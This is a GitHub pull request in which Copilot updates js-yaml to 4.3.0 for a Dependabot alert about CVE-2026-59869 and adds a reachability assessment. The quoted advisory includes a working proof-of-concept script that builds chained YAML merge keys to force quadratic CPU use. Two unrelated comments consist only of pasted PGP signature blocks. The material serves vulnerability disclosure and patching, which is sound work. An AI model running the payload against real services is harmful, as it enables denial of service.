Skip to content

Update js-yaml to patched 4.3.0 - #11

Open
sergiou87 with Copilot wants to merge 2 commits into
mainfrom
copilot/fix-js-yaml-vulnerability
Open

Update js-yaml to patched 4.3.0#11
sergiou87 with Copilot wants to merge 2 commits into
mainfrom
copilot/fix-js-yaml-vulnerability

Conversation

Copilot AI commented Jul 31, 2026

Copy link
Copy Markdown

js-yaml@4.2.0 is vulnerable to quadratic CPU consumption when parsing chained YAML merge keys (CVE-2026-59869). Version 4.3.0 limits merged keys per parse.

  • Dependency update

    • Pin the npm override to js-yaml@4.3.0.
    • Refresh the lockfile resolution and integrity hash.
  • Reachability assessment — Not reachable (high confidence)

    • js-yaml is development-only and transitive through Jest coverage tooling.
    • Repository code does not import js-yaml or call load, loadAll, or YAML11_SCHEMA.
    • This update addresses dependency scanning rather than an active application exposure.
  • Dependency resolution note

    • A standard npm refresh encounters the existing ts-jest@29.4.6 requirement for TypeScript <6 while the project declares TypeScript 6.
    • The lockfile was refreshed while preserving the existing peer dependency graph.
Original prompt

This section details the Dependabot vulnerability alert you should resolve

<alert_title>js-yaml: YAML merge-key chains can force quadratic CPU consumption</alert_title>
<alert_description>### Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.</alert_description>

high
GHSA-52cp-r559-cp3m, CVE-2026-59869
js-yaml
npm
<vulnerable_versions>4.2.0</vulnerable_versions>
<patched_version>4.3.0</patched_version>
<manifest_path>package-lock.json</manifest_path>

https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m https://nvd.nist.gov/vuln/detail/CVE-2026-59869 https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7 https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4 https://github.com/nodeca/js-yaml/releases/tag/3.15.0 https://github.com/nodeca/js-yaml/releases/tag/4.3.0 https://github.com/advisories/GHSA-52cp-r559-cp3m

<task_instructions>Resolve this alert by updating the affected package to a non-vulnerable version. Prefer the lowest non-vulnerable version (see the patched_version field above) over the latest to minimize breaking changes. Include a Reachability Assessment section in the PR description. Review the alert_description field to understand which APIs, features, or configurations are affected, then search the codebase for usage of those specific items. If the vulnerable code path is reachable, explain how (which files, APIs, or call sites use the affected functionality) and note that the codebase is actively exposed to this vulnerability. If the vulnerable code path is not reachable, explain why (e.g. the affected API is never called, the vulnerable configuration is not used) and note that the update is primarily to satisfy vulnerability scanners rather than to address an active risk. If the advisory is too vague to determine reachability (e.g. 'improper input validation' with no specific API named), state that reachability could not be determined and explain why. Include a confidence level in the reachability assessment (e.g. high confidence if the advisory names a specific API and you confirmed it is or is not called, low confidence if the usage is indirect and hard to trace). If no patched version is available, check the alert_description field for a Workarounds section — the advisory may describe configuration changes or usage patterns that mitigate the vulnerability without a version update. If a workaround is available, apply it and leave a code comment referencing the advisory identifier explaining it is a temporary mitigation. If neither a patch nor a workaround is available, explain in the PR description why the alert cannot be resolved automatically so a human reviewer can take over. Inspect the repository to determine which package manager is used (e.g. lock files, config files, build scripts) and use that tooling to perform the update — do not edit lock files directly. If the version constraint in the manifest (e.g. package.json, Gemfile, pyproject.toml) caps the version below the fi...

  • Resolves github/copilot-release-notes alert #23

Copilot AI changed the title [WIP] Fix js-yaml vulnerability warning Update js-yaml to patched 4.3.0 Jul 31, 2026
Copilot AI requested a review from sergiou87 July 31, 2026 14:48
@sergiou87
sergiou87 requested a review from Copilot July 31, 2026 14:56

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Updates the development-only js-yaml dependency to the patched version addressing CVE-2026-59869.

Changes:

  • Pins the override to js-yaml@4.3.0.
  • Refreshes the lockfile resolution and integrity hash.
Show a summary per file
File Description
package.json Pins the patched dependency version.
package-lock.json Records the updated package artifact.

Review details

Tip

Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

  • Files reviewed: 1/2 changed files
  • Comments generated: 0
  • Review effort level: Balanced

@sergiou87
sergiou87 marked this pull request as ready for review July 31, 2026 15:19
@sergiou87
sergiou87 requested a review from a team as a code owner July 31, 2026 15:19

@artsgvng-cmd artsgvng-cmd left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQGcBAABAgAGBQJelhWTAAoJEHoCnlTdXc56paEL/AnT5HNu6IXc/t8PEk6bj2WB
5kpXoD3jI2Bz9l4jkXaHKIZ/tj5/qi5VpKf7asf4b1gVxzTFgT9T0sYhxaOgqFMC
KWFH7ZlYKq6PyKPb1WSkf7S6wr5dAqcJglB08LH+WnFvhgk3Hvzmn1uSCdTYM5N7
IonrW4k22LwlIXVHGCZS/1nOxTFEN0azqUtu92FPX2DCdzDhwuJ+Vvlox6VBBvNd
wQvaigpCXXX3ovh0ZYyjfES5LqGbwW4E72vjXikONOh6V5NqamN0Yv5GyWXyFNco
ecI9aHyA6OROs3sdYFV2XH2ug3MVPeQHcy2wM39Eq7wNiU6WgGfgioaPZGd6mQxu
8P+IvXWF3Gv8RiR7Wdvf6HrMzRGQdEOIUGkKjZ9mBl4VixtIRik0mNixyLGnJBMQ
UDI0Uq7K5v7umrWGn0beGGu+Wsl1kEo8i5zY0GFx0UAG3mmBaT3pHHAZ6qChQrtr
3js5Md8kZHlWpvgnTZ64rl0DBRX11kzCcTfF6aluNA==
=HMzq
-----END PGP SIGNATURE----

@artsgvng-cmd artsgvng-cmd left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQGcBAABAgAGBQJelhWTAAoJEHoCnlTdXc56paEL/AnT5HNu6IXc/t8PEk6bj2WB
5kpXoD3jI2Bz9l4jkXaHKIZ/tj5/qi5VpKf7asf4b1gVxzTFgT9T0sYhxaOgqFMC
KWFH7ZlYKq6PyKPb1WSkf7S6wr5dAqcJglB08LH+WnFvhgk3Hvzmn1uSCdTYM5N7
IonrW4k22LwlIXVHGCZS/1nOxTFEN0azqUtu92FPX2DCdzDhwuJ+Vvlox6VBBvNd
wQvaigpCXXX3ovh0ZYyjfES5LqGbwW4E72vjXikONOh6V5NqamN0Yv5GyWXyFNco
ecI9aHyA6OROs3sdYFV2XH2ug3MVPeQHcy2wM39Eq7wNiU6WgGfgioaPZGd6mQxu
8P+IvXWF3Gv8RiR7Wdvf6HrMzRGQdEOIUGkKjZ9mBl4VixtIRik0mNixyLGnJBMQ
UDI0Uq7K5v7umrWGn0beGGu+Wsl1kEo8i5zY0GFx0UAG3mmBaT3pHHAZ6qChQrtr
3js5Md8kZHlWpvgnTZ64rl0DBRX11kzCcTfF6aluNA==
=HMzq
-----END PGP SIGNATURE----

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants